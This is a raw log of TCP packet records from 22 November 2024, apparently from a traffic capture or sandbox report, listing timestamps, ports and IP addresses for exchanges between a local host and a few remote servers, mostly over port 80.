Nov 22, 2024 17:09:12.965620041 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.965696096 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.965818882 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.965905905 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.966789007 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.966861963 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.966897011 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.966949940 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.967920065 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.967967987 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.968002081 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.968040943 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.969099045 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.969177961 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.969269991 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.969397068 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.970315933 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.970356941 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.970366001 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.970392942 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.971355915 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.971419096 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.111675024 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.111731052 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.111745119 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.111792088 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.112217903 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.112266064 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.112360001 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.112405062 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.113327980 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.113395929 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.113751888 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.113804102 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.113843918 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.113886118 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.114887953 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.114934921 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.114983082 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.115061045 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.116065979 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.116110086 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.116149902 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.116184950 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.117599010 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.117646933 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.117671013 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.117710114 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.118360996 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.118412018 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.118490934 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.118573904 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.119519949 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.119568110 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.119781017 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.119829893 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.120697975 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.120764017 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.120811939 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.120852947 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.121892929 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.121939898 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.122102976 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.122216940 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.122951984 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.123016119 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.123022079 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.123056889 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.124061108 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.124126911 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.124145031 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.124177933 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.125237942 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.125307083 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.125345945 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.125379086 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.126367092 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.126496077 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.126499891 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.126533031 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.127616882 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.127693892 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.127707958 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.127768993 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.128633976 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.128719091 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.128757000 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.129810095 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.129863977 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.129906893 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.129939079 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.131010056 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.131078959 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.131118059 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.131153107 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.132071972 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.132121086 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.132388115 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.132551908 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.133249044 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.133311987 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.133342981 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.133377075 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.134382963 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.134433985 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.134597063 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.134639025 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.135515928 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.135660887 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.135710001 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.136730909 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.136790991 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.136833906 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.136871099 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.138777018 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.138832092 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.138875961 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.138989925 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.139002085 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.139043093 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.140086889 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.140131950 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.140196085 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.140372038 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.141282082 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.141340971 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.141371965 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.141410112 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.142401934 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.142478943 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.142538071 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.142571926 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.143583059 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.143630981 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.143632889 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.143666983 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.144706011 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.144747972 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.145107031 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.145144939 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.145890951 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.145925999 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.145988941 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.146019936 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.146991968 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.147044897 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.147097111 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.147134066 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.148113966 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.148171902 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.148230076 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.148266077 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.149290085 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.149341106 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.149389029 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.149435997 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.150507927 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.150557041 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.150557041 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.150588989 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.151618004 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.151674032 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.151743889 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.151787996 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.152820110 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.152869940 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.152877092 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.152904987 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.153876066 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.153964996 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.154023886 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.154057980 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.155029058 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.155076981 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.155085087 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.155119896 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.156172991 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.156213999 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.156256914 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.157372952 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.157437086 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.157445908 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.157505035 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.158586025 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.158648014 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.158691883 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.158735037 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.159631014 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.159691095 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.159773111 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.159965992 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.160762072 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.160814047 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.160820007 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.160851002 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.161922932 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.161955118 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.161988020 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.162008047 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.163070917 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.163121939 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.163145065 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.163180113 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.164187908 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.164248943 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.164266109 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.164305925 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.165333033 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.165390015 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.165452957 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.165540934 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.166521072 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.166568995 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.166585922 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.166621923 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.167676926 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.167723894 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.167751074 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.167785883 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.168899059 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.168909073 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.168946981 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.168961048 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.169956923 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.170021057 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.170039892 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.170074940 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.171139002 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.171152115 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.171184063 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.171210051 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.220393896 CET	49785	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:09:13.220434904 CET	443	49785	162.159.61.3	192.168.2.10
Nov 22, 2024 17:09:13.220771074 CET	49784	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:09:13.220801115 CET	443	49784	162.159.61.3	192.168.2.10
Nov 22, 2024 17:09:13.221194983 CET	49830	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:13.221239090 CET	443	49830	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:13.221359015 CET	49830	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:13.221620083 CET	49830	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:13.221632957 CET	443	49830	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:13.379297018 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.379322052 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.379337072 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.379348040 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.379352093 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.379389048 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.379412889 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.498750925 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.498786926 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.498799086 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.498810053 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.498842955 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.498888969 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.618643999 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618659973 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618671894 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618683100 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618694067 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618705034 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618714094 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.618741035 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618751049 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618761063 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618769884 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.618779898 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618791103 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618793011 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.618801117 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618813038 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.618813038 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618829966 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618840933 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618844032 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.618849993 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618872881 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618876934 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.618882895 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618892908 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618904114 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618907928 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.618913889 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618925095 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618935108 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618936062 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.618944883 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618956089 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618966103 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.618966103 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618977070 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.618983030 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.618992090 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619003057 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619014025 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.619019985 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619030952 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619040966 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619043112 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.619050980 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619064093 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619067907 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.619075060 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619085073 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619088888 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.619096994 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619107008 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619117022 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619123936 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.619127035 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619139910 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619149923 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619157076 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.619182110 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.619183064 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619194031 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619204044 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619214058 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619224072 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.619225025 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619235992 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619242907 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.619246006 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619256973 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619267941 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619277000 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.619277954 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619288921 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619302988 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619303942 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.619324923 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.619335890 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619340897 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.619347095 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619357109 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619366884 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619369030 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.619378090 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619386911 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.619389057 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.619415045 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.619431973 CET	49828	80	192.168.2.10	185.215.113.16
